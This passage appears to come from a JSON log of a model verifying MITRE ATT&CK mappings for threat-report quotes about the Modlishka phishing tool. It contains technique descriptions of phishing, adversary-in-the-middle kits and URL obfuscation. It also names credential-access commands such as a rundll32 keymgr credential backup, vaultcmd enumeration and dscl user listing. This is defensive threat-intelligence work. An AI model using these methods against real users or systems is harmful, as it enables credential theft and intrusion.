accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.\n\nCANDIDATE 1\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link.\n\nCANDIDATE 5\nATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": 0,\n \"support\": \"supported\",\n \"evidence_quote\": \"This relatively simple tool allows phishing one site at a time\",\n \"rationale\": \"The quote describes using a tool for phishing to gain access, which aligns with the general definition of T1566 Phishing.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3842, + "completion_tokens": 76, + "total_tokens": 3918 + } + }, + "evidence_sha256": "0eebf214afd8cc295bffd61eb5bb63301f38d3a9a505560bc2e636527c0a4898" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3085.1, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Modlishka\nAction: provides\nObject: command line interface\nTool: Modlishka\n\nSOURCE QUOTE\nsports a command line interface\n\nCANDIDATE 0\nATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: | Enterprise | T1059 | Command-Line Interface | Leviathan uses different command line tools, like net.exe or MURKYTOP. |\n\nCANDIDATE 1\nATT&CK technique: T1059.004 Unix Shell\nDescription: Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.\nTactics: execution\nPlatforms: ESXi, Linux, Network Devices, macOS\n\nCANDIDATE 2\nATT&CK technique: T1059.008 Network Device CLI\nDescription: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH. Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.\nTactics: execution\nPlatforms: Network Devices\n\nCANDIDATE 3\nATT&CK technique: T1059.003 Windows Command Shell\nDescription: Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.\nTactics: execution\nPlatforms: Windows\n\nCANDIDATE 4\nATT&CK technique: T1219 Remote Access Tools\nDescription: An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access. Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system. Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).\nTactics: command and control\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1059.012 Hypervisor CLI\nDescription: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more. Adversaries may be able to leverage these tools in order to support further actions, such as File and Directory Discovery or Data Encrypted for Impact.\nTactics: execution\nPlatforms: ESXi\n\nCANDIDATE 6\nATT&CK technique: T1119 Automated Collection\nDescription: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.\nTactics: collection\nPlatforms: IaaS, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1202 Indirect Command Execution\nDescription: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file. Adversaries may abuse these features for Stealth, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.\nTactics: stealth\nPlatforms: Windows\n\nCANDIDATE 8\nATT&CK technique: T1059.013 Container CLI/API\nDescription: Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments. The Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application. Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery). Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.\nTactics: execution\nPlatforms: Containers\n\nCANDIDATE 9\nATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"sports a command line interface\",\n \"rationale\": \"The quote describes a tool feature rather than an adversary execution action, lacking evidence of malicious command invocation or system control.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2781, + "completion_tokens": 65, + "total_tokens": 2846 + } + }, + "evidence_sha256": "d73e1dbc73477f6382a46cff1bf6d974de4b372f802f99fd7cb272d2a12396e7" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 2439.2, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: threat actor\nAction: retrieve\nObject: credentials and session information\nTool: Modlishka\n\nSOURCE QUOTE\nprovides the threat actor with a handy GUI to retrieve the credentials and session information\n\nCANDIDATE 0\nATT&CK technique: T1538 Cloud Service Dashboard\nDescription: An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports. Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.\nTactics: discovery\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS\n\nCANDIDATE 1\nATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 2\nATT&CK technique: T1555.004 Windows Credential Manager\nDescription: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.\nTactics: credential access\nPlatforms: Windows\n\nCANDIDATE 3\nATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1033 System Owner/User Discovery\nDescription: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.\nTactics: discovery\nPlatforms: Linux, Network Devices, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams.\n\nCANDIDATE 6\nATT&CK technique: T1555.005 Password Managers\nDescription: Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk. Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access. Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: When a particular provider is clicked, a pop-up box (Figure 